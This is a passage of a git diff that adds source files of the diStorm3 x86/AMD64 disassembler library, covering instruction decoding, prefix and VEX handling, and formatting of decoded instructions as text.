DECRES_MEMORYERR; + + for (p = code; p < ps.last; p++, startInstOffset++) { + /* Use next entry. */ +#ifndef DISTORM_LIGHT + if (supportOldIntr) { + pdi = (_DInst*)((char*)result + nextPos * sizeof(_DecodedInst)); + } + else +#endif /* DISTORM_LIGHT */ + { + pdi = &result[nextPos]; + } + nextPos++; + COMPAT(memset)(pdi, 0, sizeof(_DInst)); + + pdi->flags = FLAG_NOT_DECODABLE; + pdi->imm.byte = *p; + pdi->size = 1; + pdi->addr = startInstOffset & addrMask; + } + *usedInstructionsCount = nextPos; /* Include them all. */ + } + if (codeLen == 0) break; /* Bye bye, out of bytes. */ + } + code += prefixSize; + codeOffset += prefixSize; + + /* If we got only prefixes continue to next instruction. */ + if (prefixSize == INST_MAXIMUM_SIZE) continue; + } + + /* + * Now we decode the instruction and only then we do further prefixes handling. + * This is because the instruction could not be decoded at all, or an instruction requires + * a mandatory prefix, or some of the prefixes were useless, etc... + + * Even if there were a mandatory prefix, we already took into account its size as a normal prefix. + * so prefixSize includes that, and the returned size in pdi is simply the size of the real(=without prefixes) instruction. + */ + if (ci.dt == Decode64Bits) { + if (ps.decodedPrefixes & INST_PRE_REX) { + /* REX prefix must precede first byte of instruction. */ + if (ps.rexPos != (code - 1)) { + ps.decodedPrefixes &= ~INST_PRE_REX; + ps.prefixExtType = PET_NONE; + prefixes_ignore(&ps, PFXIDX_REX); + } + /* + * We will disable operand size prefix, + * if it exists only after decoding the instruction, since it might be a mandatory prefix. + * This will be done after calling inst_lookup in decode_inst. + */ + } + /* In 64 bits, segment overrides of CS, DS, ES and SS are ignored. So don't take'em into account. */ + if (ps.decodedPrefixes & INST_PRE_SEGOVRD_MASK32) { + ps.decodedPrefixes &= ~INST_PRE_SEGOVRD_MASK32; + prefixes_ignore(&ps, PFXIDX_SEG); + } + } + + /* Make sure there is at least one more entry to use, for the upcoming instruction. */ + if (nextPos + 1 > maxResultCount) return DECRES_MEMORYERR; +#ifndef DISTORM_LIGHT + if (supportOldIntr) { + pdi = (_DInst*)((char*)result + nextPos * sizeof(_DecodedInst)); + } + else +#endif /* DISTORM_LIGHT */ + { + pdi = &result[nextPos]; + } + nextPos++; + + /* + * The reason we copy these two again is because we have to keep track on the input ourselves. + * There might be a case when an instruction is invalid, and then it will be counted as one byte only. + * But that instruction already read a byte or two from the stream and only then returned the error. + * Thus, we end up unsynchronized on the stream. + * This way, we are totally safe, because we keep track after the call to decode_inst, using the returned size. + */ + ci.code = code; + ci.codeLen = codeLen; + /* Nobody uses codeOffset in the decoder itself, so spare it. */ + + decodeResult = decode_inst(&ci, &ps, pdi); + + /* See if we need to filter this instruction. */ + if ((_ci->features & DF_RETURN_FC_ONLY) && (META_GET_FC(pdi->meta) == FC_NONE)) decodeResult = DECRES_FILTERED; + + /* Set address to the beginning of the instruction. */ + pdi->addr = startInstOffset & addrMask; + /* pdi->disp &= addrMask; */ + + if ((decodeResult == DECRES_INPUTERR) && (ps.decodedPrefixes & INST_PRE_VEX)) { + if (ps.prefixExtType == PET_VEX3BYTES) { + prefixSize -= 2; + codeLen += 2; + } else if (ps.prefixExtType == PET_VEX2BYTES) { + prefixSize -= 1; + codeLen += 1; + } + ps.last = ps.start + prefixSize - 1; + code = ps.last + 1; + codeOffset = startInstOffset + prefixSize; + } else { + /* Advance to next instruction. */ + codeLen -= pdi->size; + codeOffset += pdi->size; + code += pdi->size; + + /* Instruction's size should include prefixes. */ + pdi->size += (uint8_t)prefixSize; + } + + /* Drop all prefixes and the instruction itself, because the instruction wasn't successfully decoded. */ + if ((decodeResult == DECRES_INPUTERR) && (~_ci->features & DF_RETURN_FC_ONLY)) { + nextPos--; /* Undo last result. */ + if ((prefixSize + 1) > 0) { /* 1 for the first instruction's byte. */ + if ((nextPos + prefixSize + 1) > maxResultCount) return DECRES_MEMORYERR; + + for (p = ps.start; p < ps.last + 1; p++, startInstOffset++) { + /* Use next entry. */ +#ifndef DISTORM_LIGHT + if (supportOldIntr) { + pdi = (_DInst*)((char*)result + nextPos * sizeof(_DecodedInst)); + } + else +#endif /* DISTORM_LIGHT */ + { + pdi = &result[nextPos]; + } + nextPos++; + + COMPAT(memset)(pdi, 0, sizeof(_DInst)); + pdi->flags = FLAG_NOT_DECODABLE; + pdi->imm.byte = *p; + pdi->size = 1; + pdi->addr = startInstOffset & addrMask; + } + } + } else if (decodeResult == DECRES_FILTERED) nextPos--; /* Return it to pool, since it was filtered. */ + + /* Alright, the caller can read, at least, up to this one. */ + *usedInstructionsCount = nextPos; + /* Fix next offset. */ + _ci->nextOffset = codeOffset; + + /* Check whether we need to stop on any flow control instruction. */ + features = _ci->features; + mfc = META_GET_FC(pdi->meta); + if ((decodeResult == DECRES_SUCCESS) && (features & DF_STOP_ON_FLOW_CONTROL)) { + if (((features & DF_STOP_ON_CALL) && (mfc == FC_CALL)) || + ((features & DF_STOP_ON_RET) && (mfc == FC_RET)) || + ((features & DF_STOP_ON_SYS) && (mfc == FC_SYS)) || + ((features & DF_STOP_ON_UNC_BRANCH) && (mfc == FC_UNC_BRANCH)) || + ((features & DF_STOP_ON_CND_BRANCH) && (mfc == FC_CND_BRANCH)) || + ((features & DF_STOP_ON_INT) && (mfc == FC_INT)) || + ((features & DF_STOP_ON_CMOV) && (mfc == FC_CMOV))) + return DECRES_SUCCESS; + } + } + + return DECRES_SUCCESS; +} diff --git a/source/distorm/decoder.h b/source/distorm/decoder.h new file mode 100644 index 0000000..2f9961a --- /dev/null +++ b/source/distorm/decoder.h @@ -0,0 +1,33 @@ +/* +decoder.h + +diStorm3 - Powerful disassembler for X86/AMD64 +http://ragestorm.net/distorm/ +distorm at gmail dot com +Copyright (C) 2011 Gil Dabah + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see <http://www.gnu.org/licenses/> +*/ + + +#ifndef DECODER_H +#define DECODER_H + +#include "config.h" + +typedef unsigned int _iflags; + +_DecodeResult decode_internal(_CodeInfo* ci, int supportOldIntr, _DInst result[], unsigned int maxResultCount, unsigned int* usedInstructionsCount); + +#endif /* DECODER_H */ diff --git a/source/distorm/distorm.c b/source/distorm/distorm.c new file mode 100644 index 0000000..94279e6 --- /dev/null +++ b/source/distorm/distorm.c @@ -0,0 +1,409 @@ +/* +distorm.c + +diStorm3 C Library Interface +diStorm3 - Powerful disassembler for X86/AMD64 +http://ragestorm.net/distorm/ +distorm at gmail dot com +Copyright (C) 2003-2016 Gil Dabah +This library is licensed under the BSD license. See the file COPYING. +*/ + + +#include "distorm/distorm.h" +#include "config.h" +#include "decoder.h" +#include "x86defs.h" +#include "textdefs.h" +#include "wstring.h" +#include "distorm/mnemonics.h" +#include "compat.h" + +/* C DLL EXPORTS */ +#ifdef SUPPORT_64BIT_OFFSET + _DLLEXPORT_ _DecodeResult distorm_decompose64(_CodeInfo* ci, _DInst result[], unsigned int maxInstructions, unsigned int* usedInstructionsCount) +#else + _DLLEXPORT_ _DecodeResult distorm_decompose32(_CodeInfo* ci, _DInst result[], unsigned int maxInstructions, unsigned int* usedInstructionsCount) +#endif +{ + if (usedInstructionsCount == NULL) { + return DECRES_SUCCESS; + } + + /* DECRES_SUCCESS still may indicate we may have something in the result, so zero it first thing. */ + *usedInstructionsCount = 0; + + if ((ci == NULL) || + (ci->codeLen < 0) || + ((ci->dt != Decode16Bits) && (ci->dt != Decode32Bits) && (ci->dt != Decode64Bits)) || + (ci->code == NULL) || + (result == NULL) || + ((ci->features & (DF_MAXIMUM_ADDR16 | DF_MAXIMUM_ADDR32)) == (DF_MAXIMUM_ADDR16 | DF_MAXIMUM_ADDR32))) + { + return DECRES_INPUTERR; + } + + /* Assume length=0 is success. */ + if (ci->codeLen == 0) { + return DECRES_SUCCESS; + } + + return decode_internal(ci, FALSE, result, maxInstructions, usedInstructionsCount); +} + +#ifndef DISTORM_LIGHT + +/* Helper function to concatenate an explicit size when it's unknown from the operands. */ +static void distorm_format_size(_WString* str, const _DInst* di, int opNum) +{ + int isSizingRequired = 0; + /* + * We only have to output the size explicitly if it's not clear from the operands. + * For example: + * mov al, [0x1234] -> The size is 8, we know it from the AL register operand. + * mov [0x1234], 0x11 -> Now we don't know the size. Pam pam pam + * + * If given operand number is higher than 2, then output the size anyways. + */ + isSizingRequired = ((opNum >= 2) || ((di->ops[0].type != O_REG) && (di->ops[1].type != O_REG))); + + /* Still not sure? Try some special instructions. */ + if (!isSizingRequired) { + /* + * INS/OUTS are exception, because DX is a port specifier and not a real src/dst register. + * A few exceptions that always requires sizing: + * MOVZX, MOVSX, MOVSXD. + * ROL, ROR, RCL, RCR, SHL, SHR, SAL, SAR. + * SHLD, SHRD. + */ + switch (di->opcode) + { + case I_INS: + case I_OUTS: + case I_MOVZX: + case I_MOVSX: + case I_MOVSXD: + case I_ROL: + case I_ROR: + case I_RCL: + case I_RCR: + case I_SHL: + case I_SHR: + case I_SAL: + case I_SAR: + case I_SHLD: + case I_SHRD: + isSizingRequired = 1; + break; + default: /* Instruction doesn't require sizing. */ break; + } + } + + if (isSizingRequired) + { + switch (di->ops[opNum].size) + { + case 0: break; /* OT_MEM's unknown size. */ + case 8: strcat_WSN(str, "BYTE "); break; + case 16: strcat_WSN(str, "WORD "); break; + case 32: strcat_WSN(str, "DWORD "); break; + case 64: strcat_WSN(str, "QWORD "); break; + case 80: strcat_WSN(str, "TBYTE "); break; + case 128: strcat_WSN(str, "DQWORD "); break; + case 256: strcat_WSN(str, "YWORD "); break; + default: /* Big oh uh if it gets here. */ break; + } + } +} + +static void distorm_format_signed_disp(_WString* str, const _DInst* di, uint64_t addrMask) +{ + int64_t tmpDisp64; + + if (di->dispSize) { + chrcat_WS(str, ((int64_t)di->disp < 0) ? MINUS_DISP_CHR : PLUS_DISP_CHR); + if ((int64_t)di->disp < 0) tmpDisp64 = -(int64_t)di->disp; + else tmpDisp64 = di->disp; + tmpDisp64 &= addrMask; + str_code_hqw(str, (uint8_t*)&tmpDisp64); + } +} + +#ifdef SUPPORT_64BIT_OFFSET + _DLLEXPORT_ void distorm_format64(const _CodeInfo* ci, const _DInst* di, _DecodedInst* result) +#else + _DLLEXPORT_ void distorm_format32(const _CodeInfo* ci, const _DInst* di, _DecodedInst* result) +#endif +{ + _WString* str; + unsigned int i, isDefault; + int64_t tmpDisp64; + uint64_t addrMask = (uint64_t)-1; + uint8_t segment; + const _WMnemonic* mnemonic; + + /* Set address mask, when default is for 64bits addresses. */ + if (ci->features & DF_MAXIMUM_ADDR32) addrMask = 0xffffffff; + else if (ci->features & DF_MAXIMUM_ADDR16) addrMask = 0xffff; + + /* Copy other fields. */ + result->size = di->size; + result->offset = di->addr; + + if (di->flags == FLAG_NOT_DECODABLE) { + str = &result->mnemonic; + result->offset &= addrMask; + strclear_WS(&result->operands); + strcpy_WSN(str, "DB "); + str_code_hb(str, di->imm.byte); + strclear_WS(&result->instructionHex); + str_hex_b(&result->instructionHex, di->imm.byte); + return; /* Skip to next instruction. */ + } + + str = &result->instructionHex; + strclear_WS(str); + /* Gotta have full address for (di->addr - ci->codeOffset) to work in all modes. */ + for (i = 0; i < di->size; i++) + str_hex_b(str, ci->code[(unsigned int)(di->addr - ci->codeOffset + i)]); + + /* Truncate address now. */ + result->offset &= addrMask; + + str = &result->mnemonic; + switch (FLAG_GET_PREFIX(di->flags)) + { + case FLAG_LOCK: + strcpy_WSN(str, "LOCK "); + break; + case FLAG_REP: + /* REP prefix for CMPS and SCAS is really a REPZ. */ + if ((di->opcode == I_CMPS) || (di->opcode == I_SCAS)) strcpy_WSN(str, "REPZ "); + else strcpy_WSN(str, "REP "); + break; + case FLAG_REPNZ: + strcpy_WSN(str, "REPNZ "); + break; + default: + /* Init mnemonic string, cause next touch is concatenation. */ + strclear_WS(str); + break; + } + + mnemonic = (const _WMnemonic*)&_MNEMONICS[di->opcode]; + COMPAT(memcpy)((int8_t*)&str->p[str->length], mnemonic->p, mnemonic->length + 1); + str->length += mnemonic->length; + + /* Format operands: */ + str = &result->operands; + strclear_WS(str); + + /* Special treatment for String instructions. */ + if ((META_GET_ISC(di->meta) == ISC_INTEGER) && + ((di->opcode == I_MOVS) || + (di->opcode == I_CMPS) || + (di->opcode == I_STOS) || + (di->opcode == I_LODS) || + (di->opcode == I_SCAS))) + { + /* + * No operands are needed if the address size is the default one, + * and no segment is overridden, so add the suffix letter, + * to indicate size of operation and continue to next instruction. + */ + if ((FLAG_GET_ADDRSIZE(di->flags) == ci->dt) && (SEGMENT_IS_DEFAULT(di->segment))) { + str = &result->mnemonic; + switch (di->ops[0].size) + { + case 8: chrcat_WS(str, 'B'); break; + case 16: chrcat_WS(str, 'W'); break; + case 32: chrcat_WS(str, 'D'); break; + case 64: chrcat_WS(str, 'Q'); break; + } + return; + } + } + + for (i = 0; ((i < OPERANDS_NO) && (di->ops[i].type != O_NONE)); i++) { + if (i > 0) strcat_WSN(str, ", "); + switch (di->ops[i].type) + { + case O_REG: + strcat_WS(str, (const _WString*)&_REGISTERS[di->ops[i].index]); + break; + case O_IMM: + /* If the instruction is 'push', show explicit size (except byte imm). */ + if ((di->opcode == I_PUSH) && (di->ops[i].size != 8)) distorm_format_size(str, di, i); + /* Special fix for negative sign extended immediates. */ + if ((di->flags & FLAG_IMM_SIGNED) && (di->ops[i].size == 8)) { + if (di->imm.sbyte < 0) { + chrcat_WS(str, MINUS_DISP_CHR); + str_code_hb(str, -di->imm.sbyte); + break; + } + } + if (di->ops[i].size == 64) str_code_hqw(str, (uint8_t*)&di->imm.qword); + else str_code_hdw(str, di->imm.dword); + break; + case O_IMM1: + str_code_hdw(str, di->imm.ex.i1); + break; + case O_IMM2: + str_code_hdw(str, di->imm.ex.i2); + break; + case O_DISP: + distorm_format_size(str, di, i); + chrcat_WS(str, OPEN_CHR); + if ((SEGMENT_GET(di->segment) != R_NONE) && !SEGMENT_IS_DEFAULT(di->segment)) { + strcat_WS(str, (const _WString*)&_REGISTERS[SEGMENT_GET(di->segment)]); + chrcat_WS(str, SEG_OFF_CHR); + } + tmpDisp64 = di->disp & addrMask; + str_code_hqw(str, (uint8_t*)&tmpDisp64); + chrcat_WS(str, CLOSE_CHR); + break; + case O_SMEM: + distorm_format_size(str, di, i); + chrcat_WS(str, OPEN_CHR); + + /* + * This is where we need to take special care for String instructions. + * If we got here, it means we need to explicitly show their operands. + * The problem with CMPS and MOVS is that they have two(!) memory operands. + * So we have to complete it ourselves, since the structure supplies only the segment that can be overridden. + * And make the rest of the String operations explicit. + */ + segment = SEGMENT_GET(di->segment); + isDefault = SEGMENT_IS_DEFAULT(di->segment); + switch (di->opcode) + { + case I_MOVS: + isDefault = FALSE; + if (i == 0) segment = R_ES; + break; + case I_CMPS: + isDefault = FALSE; + if (i == 1) segment = R_ES; + break; + case I_INS: + case I_LODS: + case I_STOS: + case I_SCAS: isDefault = FALSE; break; + } + if (!isDefault && (segment != R_NONE)) { + strcat_WS(str, (const _WString*)&_REGISTERS[segment]); + chrcat_WS(str, SEG_OFF_CHR); + } + + strcat_WS(str, (const _WString*)&_REGISTERS[di->ops[i].index]); + + distorm_format_signed_disp(str, di, addrMask); + chrcat_WS(str, CLOSE_CHR); + break; + case O_MEM: + distorm_format_size(str, di, i); + chrcat_WS(str, OPEN_CHR); + if ((SEGMENT_GET(di->segment) != R_NONE) && !SEGMENT_IS_DEFAULT(di->segment)) { + strcat_WS(str, (const _WString*)&_REGISTERS[SEGMENT_GET(di->segment)]); + chrcat_WS(str, SEG_OFF_CHR); + } + if (di->base != R_NONE) { + strcat_WS(str, (const _WString*)&_REGISTERS[di->base]); + chrcat_WS(str, PLUS_DISP_CHR); + } + strcat_WS(str, (const _WString*)&_REGISTERS[di->ops[i].index]); + if (di->scale != 0) { + chrcat_WS(str, '*'); + if (di->scale == 2) chrcat_WS(str, '2'); + else if (di->scale == 4) chrcat_WS(str, '4'); + else /* if (di->scale == 8) */ chrcat_WS(str, '8'); + } + + distorm_format_signed_disp(str, di, addrMask); + chrcat_WS(str, CLOSE_CHR); + break; + case O_PC: +#ifdef SUPPORT_64BIT_OFFSET + str_off64(str, (di->imm.sqword + di->addr + di->size) & addrMask); +#else + str_code_hdw(str, ((_OffsetType)di->imm.sdword + di->addr + di->size) & (uint32_t)addrMask); +#endif + break; + case O_PTR: + str_code_hdw(str, di->imm.ptr.seg); + chrcat_WS(str, SEG_OFF_CHR); + str_code_hdw(str, di->imm.ptr.off); + break; + } + } + + if (di->flags & FLAG_HINT_TAKEN) strcat_WSN(str, " ;TAKEN"); + else if (di->flags & FLAG_HINT_NOT_TAKEN) strcat_WSN(str, " ;NOT TAKEN"); +} + +#ifdef SUPPORT_64BIT_OFFSET + _DLLEXPORT_ _DecodeResult distorm_decode64(_OffsetType codeOffset, const unsigned char* code, int codeLen, _DecodeType dt, _DecodedInst result[], unsigned int maxInstructions, unsigned int* usedInstructionsCount) +#else + _DLLEXPORT_ _DecodeResult distorm_decode32(_OffsetType codeOffset, const unsigned char* code, int codeLen, _DecodeType dt, _DecodedInst result[], unsigned int maxInstructions, unsigned int* usedInstructionsCount) +#endif +{ + _DecodeResult res; + _DInst di; + _CodeInfo ci; + unsigned int instsCount = 0, i; + + *usedInstructionsCount = 0; + + /* I use codeLen as a signed variable in order to ease detection of underflow... and besides - */ + if (codeLen < 0) { + return DECRES_INPUTERR; + } + + if ((dt != Decode16Bits) && (dt != Decode32Bits) && (dt != Decode64Bits)) { + return DECRES_INPUTERR; + } + + if (code == NULL || result == NULL) { + return DECRES_INPUTERR; + } + + /* Assume length=0 is success. */ + if (codeLen == 0) { + return DECRES_SUCCESS; + } + + /* + * We have to format the result into text. But the interal decoder works with the new structure of _DInst. + * Therefore, we will pass the result array(!) from the caller and the interal decoder will fill it in with _DInst's. + * Then we will copy each result to a temporary structure, and use it to reformat that specific result. + * + * This is all done to save memory allocation and to work on the same result array in-place!!! + * It's a bit ugly, I have to admit, but worth it. + */ + + ci.codeOffset = codeOffset; + ci.code = code; + ci.codeLen = codeLen; + ci.dt = dt; + ci.features = DF_NONE; + if (dt == Decode16Bits) ci.features = DF_MAXIMUM_ADDR16; + else if (dt == Decode32Bits) ci.features = DF_MAXIMUM_ADDR32; + + res = decode_internal(&ci, TRUE, (_DInst*)result, maxInstructions, &instsCount); + for (i = 0; i < instsCount; i++) { + if ((*usedInstructionsCount + i) >= maxInstructions) return DECRES_MEMORYERR; + + /* Copy the current decomposed result to a temp structure, so we can override the result with text. */ + COMPAT(memcpy)(&di, (char*)result + (i * sizeof(_DecodedInst)), sizeof(_DInst)); +#ifdef SUPPORT_64BIT_OFFSET + distorm_format64(&ci, &di, &result[i]); +#else + distorm_format32(&ci, &di, &result[i]); +#endif + } + + *usedInstructionsCount = instsCount; + return res; +} + +#endif /* DISTORM_LIGHT */ diff --git a/source/distorm/instructions.c b/source/distorm/instructions.c new file mode 100644 index 0000000..5c1561b --- /dev/null +++ b/source/distorm/instructions.c @@ -0,0 +1,598 @@ +/* +instructions.c + +diStorm3 - Powerful disassembler for X86/AMD64 +http://ragestorm.net/distorm/ +distorm at gmail dot com +Copyright (C) 2003-2016 Gil Dabah +This library is licensed under the BSD license. See the file COPYING. +*/ + + +#include "instructions.h" + +#include "insts.h" +#include "prefix.h" +#include "x86defs.h" +#include "distorm/mnemonics.h" +#include "compat.h" + + +/* Helper macros to extract the type or index from an inst-node value. */ +#define INST_NODE_INDEX(n) ((n) & 0x1fff) +#define INST_NODE_TYPE(n) ((n) >> 13) + +/* Helper macro to read the actual flags that are associated with an inst-info. */ +#define INST_INFO_FLAGS(ii) (FlagsTable[InstSharedInfoTable[(ii)->sharedIndex].flagsIndex]) + +/* +I use the trie data structure as I found it most fitting to a disassembler mechanism. +When you read a byte and have to decide if it's enough or you should read more bytes, 'till you get to the instruction information. +It's really fast because you POP the instruction info in top 3 iterates on the DB, because an instruction can be formed from two bytes + 3 bits reg from the ModR/M byte. +For a simple explanation, check this out: +http://www.csse.monash.edu.au/~lloyd/tildeAlgDS/Tree/Trie/ +Further reading: http://en.wikipedia.org/wiki/Trie + +The first GATE (array you read off a trie data structure), as I call them, is statically allocated by the compiler. +The second and third gates if used are being allocated dynamically by the instructions-insertion functionality. + +How would such a thing look in memory, say we support 4 instructions with 3 bytes top (means 2 dynamically allocated gates). + +-> +|-------| 0, +|0| -------------------------------> |-------| +|1|RET | 1, |0|AND | +|2| -----> |-------| |1|XOR | +|3|INT3 | |0|PUSH | |2|OR | 0,3, +|-------| |1|POP | |3| --------->|-------| + |2|PUSHF| |-------| |0|ROR | + |3|POPF | |1|ROL | + |-------| |2|SHR | + |3|SHL | + |-------| + +Of course, this is NOT how Intel instructions set looks!!! +but I just wanted to give a small demonstration. +Now the instructions you get from such a trie DB goes like this: + +0, 0 - AND +0, 1 - XOR +0, 2 - OR +0, 3, 0, ROR +0, 3, 1, ROL +0, 3, 2, SHR +0, 3, 3, SHL +1 - RET +2, 0 - PUSH +2, 1 - POP +2, 2 - PUSHF +2, 3 - POPF +3 - INT3 + +I guess it's clear by now. +So now, if you read 0, you know that you have to enter the second gate(list) with the second byte specifying the index. +But if you read 1, you know that you go to an instruction (in this case, a RET). +That's why there's an Instruction-Node structure, it tells you whether you got to an instruction or another list +so you should keep on reading byte). + +In Intel, you could go through 4 gates at top, because there are instructions which are built from 2 bytes and another smaller list +for the REG part, or newest SSE4 instructions which use 4 bytes for opcode. +Therefore, Intel's first gate is 256 long, and other gates are 256 (/72) or 8 long, yes, it costs pretty much a lot of memory +for non-used defined instructions, but I think that it still rocks. +*/ + +/* + * A helper function to look up the correct inst-info structure. + * It does one fetch from the index-table, and then another to get the inst-info. + * Note that it takes care about basic inst-info or inst-info-ex. + * The caller should worry about boundary checks and whether it accesses a last-level table. + */ +static _InstInfo* inst_get_info(_InstNode in, int index) +{ + int instIndex = 0; + + in = InstructionsTree[INST_NODE_INDEX(in) + index]; + if (in == INT_NOTEXISTS) return NULL; + + instIndex = INST_NODE_INDEX(in); + return INST_NODE_TYPE(in) == INT_INFO ? &InstInfos[instIndex] : (_InstInfo*)&InstInfosEx[instIndex]; +} + +/* + * This function is responsible to return the instruction information of the first found in code. + * It returns the _InstInfo of the found instruction, otherwise NULL. + * code should point to the ModR/M byte upon exit (if used), or after the instruction binary code itself. + * This function is NOT decoding-type dependant, it is up to the caller to see whether the instruction is valid. + * Get the instruction info, using a Trie data structure. + * + * Sometimes normal prefixes become mandatory prefixes, which means they are now part of the instruction opcode bytes. + + * This is a bit tricky now, + * if the first byte is a REP (F3) prefix, we will have to give a chance to an SSE instruction. + * If an instruction doesn't exist, we will make it as a prefix and re-locateinst. + * A case such that a REP prefix is being changed into an instruction byte and also an SSE instruction will not be found can't happen, + * simply because there are no collisions between string instruction and SSE instructions (they are escaped). + + * As for S/SSE2/3, check for F2 and 66 as well. + + * In 64 bits, we have to make sure that we will skip the REX prefix, if it exists. + * There's a specific case, where a 66 is mandatory but it was dropped because REG.W was used, + * but it doesn't behave as an operand size prefix but as a mandatory, so we will have to take it into account. + + * For example (64 bits decoding mode): + * 66 98 CBW + * 48 98 CDQE + * 66 48 98: db 0x66; CDQE + * Shows that operand size is dropped. + + * Now, it's a mandatory prefix and NOT an operand size one. + * 66480f2dc0 db 0x48; CVTPD2PI XMM0, XMM0 + * Although this instruction doesn't require a REX.W, it just shows, that even if it did - it doesn't matter. + * REX.W is dropped because it's not required, but the decode function disabled the operand size even so. + */ +static _InstInfo* inst_lookup_prefixed(_InstNode in, _PrefixState* ps) +{ + int checkOpSize = FALSE; + int index = 0; + _InstInfo* ii = NULL; + + /* Check prefixes of current decoded instruction (None, 0x66, 0xf3, 0xf2). */ + switch (ps->decodedPrefixes & (INST_PRE_OP_SIZE | INST_PRE_REPS)) + { + case 0: + /* Non-prefixed, index = 0. */ + index = 0; + break; + case INST_PRE_OP_SIZE: + /* 0x66, index = 1. */ + index = 1; + /* Mark that we used it as a mandatory prefix. */ + ps->isOpSizeMandatory = TRUE; + ps->decodedPrefixes &= ~INST_PRE_OP_SIZE; + break; + case INST_PRE_REP: + /* 0xf3, index = 2. */ + index = 2; + ps->decodedPrefixes &= ~INST_PRE_REP; + break; + case INST_PRE_REPNZ: + /* 0xf2, index = 3. */ + index = 3; + ps->decodedPrefixes &= ~INST_PRE_REPNZ; + break; + default: + /* + * Now we got a problem, since there are a few mandatory prefixes at once. + * There is only one case when it's ok, when the operand size prefix is for real (not mandatory). + * Otherwise we will have to return NULL, since the instruction is illegal. + * Therefore we will start with REPNZ and REP prefixes, + * try to get the instruction and only then check for the operand size prefix. + */ + + /* If both REPNZ and REP are together, it's illegal for sure. */ + if ((ps->decodedPrefixes & INST_PRE_REPS) == INST_PRE_REPS) return NULL; + + /* Now we know it's either REPNZ+OPSIZE or REP+OPSIZE, so examine the instruction. */ + if (ps->decodedPrefixes & INST_PRE_REPNZ) { + index = 3; + ps->decodedPrefixes &= ~INST_PRE_REPNZ; + } else if (ps->decodedPrefixes & INST_PRE_REP) { + index = 2; + ps->decodedPrefixes &= ~INST_PRE_REP; + } + /* Mark to verify the operand-size prefix of the fetched instruction below. */ + checkOpSize = TRUE; + break; + } + + /* Fetch the inst-info from the index. */ + ii = inst_get_info(in, index); + + if (checkOpSize) { + /* If the instruction doesn't support operand size prefix, then it's illegal. */ + if ((ii == NULL) || (~INST_INFO_FLAGS(ii) & INST_PRE_OP_SIZE)) return NULL; + } + + /* If there was a prefix, but the instruction wasn't found. Try to fall back to use the normal instruction. */ + if (ii == NULL) ii = inst_get_info(in, 0); + return ii; +} + +/* A helper function to look up special VEX instructions. + * See if it's a MOD based instruction and fix index if required. + * Only after a first lookup (that was done by caller), we can tell if we need to fix the index. + * Because these are coupled instructions + * (which means that the base instruction hints about the other instruction). + * Note that caller should check if it's a MOD dependent instruction before getting in here. + */ +static _InstInfo* inst_vex_mod_lookup(_CodeInfo* ci, _InstNode in, _InstInfo* ii, unsigned int index) +{ + /* Advance to read the MOD from ModRM byte. */ + ci->code += 1; + ci->codeLen -= 1; + if (ci->codeLen < 0) return NULL; + if (*ci->code < INST_DIVIDED_MODRM) { + /* MOD is not 11, therefore change the index to 8 - 12 range in the prefixed table. */ + index += 4; + /* Make a second lookup for this special instruction. */ + return inst_get_info(in, index); + } + /* Return the original one, in case we didn't find a suited instruction. */ + return ii; +} + +static _InstInfo* inst_vex_lookup(_CodeInfo* ci, _PrefixState* ps) +{ + _InstNode in = 0; + unsigned int pp = 0, start = 0; + unsigned int index = 4; /* VEX instructions start at index 4 in the Prefixed table. */ + uint8_t vex = *ps->vexPos, vex2 = 0, v = 0; + int instType = 0, instIndex = 0; + + /* The VEX instruction will #ud if any of 66, f0, f2, f3, REX prefixes precede. */ + _iflags illegal = (INST_PRE_OP_SIZE | INST_PRE_LOCK | INST_PRE_REP | INST_PRE_REPNZ | INST_PRE_REX); + if ((ps->decodedPrefixes & illegal) != 0) return NULL; + + /* Read the some fields from the VEX prefix we need to extract the instruction. */ + if (ps->prefixExtType == PET_VEX2BYTES) { + ps->vexV = v = (~vex >> 3) & 0xf; + pp = vex & 3; + /* Implied leading 0x0f byte by default for 2 bytes VEX prefix. */ + start = 1; + } else { /* PET_VEX3BYTES */ + start = vex & 0x1f; + vex2 = *(ps->vexPos + 1); + ps->vexV = v = (~vex2 >> 3) & 0xf; + pp = vex2 & 3; + } + + /* start can be either 1 (0x0f), 2 (0x0f, 0x038) or 3 (0x0f, 0x3a), otherwise it's illegal. */ + switch (start) + { + case 1: in = Table_0F; break; + case 2: in = Table_0F_38; break; + case 3: in = Table_0F_3A; break; + default: return NULL; + } + + /* pp is actually the implied mandatory prefix, apply it to the index. */ + index += pp; /* (None, 0x66, 0xf3, 0xf2) */ + + /* Read a byte from the stream. */ + ci->codeLen -= 1; + if (ci->codeLen < 0) return NULL; + + in = InstructionsTree[INST_NODE_INDEX(in) + *ci->code]; + if (in == INT_NOTEXISTS) return NULL; + + instType = INST_NODE_TYPE(in); + instIndex = INST_NODE_INDEX(in); + + /* + * If we started with 0f38 or 0f3a so it's a prefixed table, + * therefore it's surely a VEXed instruction (because of a high index). + * However, starting with 0f, could also lead immediately to a prefixed table for some bytes. + * it might return NULL, if the index is invalid. + */ + if (instType == INT_LIST_PREFIXED) { + _InstInfo* ii = inst_get_info(in, index); + /* See if the instruction is dependent on MOD. */ + if ((ii != NULL) && (((_InstInfoEx*)ii)->flagsEx & INST_MODRR_BASED)) { + ii = inst_vex_mod_lookup(ci, in, ii, index); + } + return ii; + } + + /* + * If we reached here, obviously we started with 0f. VEXed instructions must be nodes of a prefixed table. + * But since we found an instruction (or divided one), just return NULL. + * They cannot lead to a VEXed instruction. + */ + if ((instType == INT_INFO) || (instType == INT_INFOEX) || (instType == INT_LIST_DIVIDED)) return NULL; + + /* Now we are left with handling either GROUP or FULL tables, therefore we will read another byte from the stream. */ + ci->code += 1; + ci->codeLen -= 1; + if (ci->codeLen < 0) return NULL; + + if (instType == INT_LIST_GROUP) { + in = InstructionsTree[instIndex + ((*ci->code >> 3) & 7)]; + /* Continue below to check prefixed table. */ + } else if (instType == INT_LIST_FULL) { + in = InstructionsTree[instIndex + *ci->code]; + /* Continue below to check prefixed table. */ + } + + /* Now that we got to the last table in the trie, check for a prefixed table. */ + if (INST_NODE_TYPE(in) == INT_LIST_PREFIXED) { + _InstInfo* ii = inst_get_info(in, index); + /* See if the instruction is dependent on MOD. */ + if ((ii != NULL) && (((_InstInfoEx*)ii)->flagsEx & 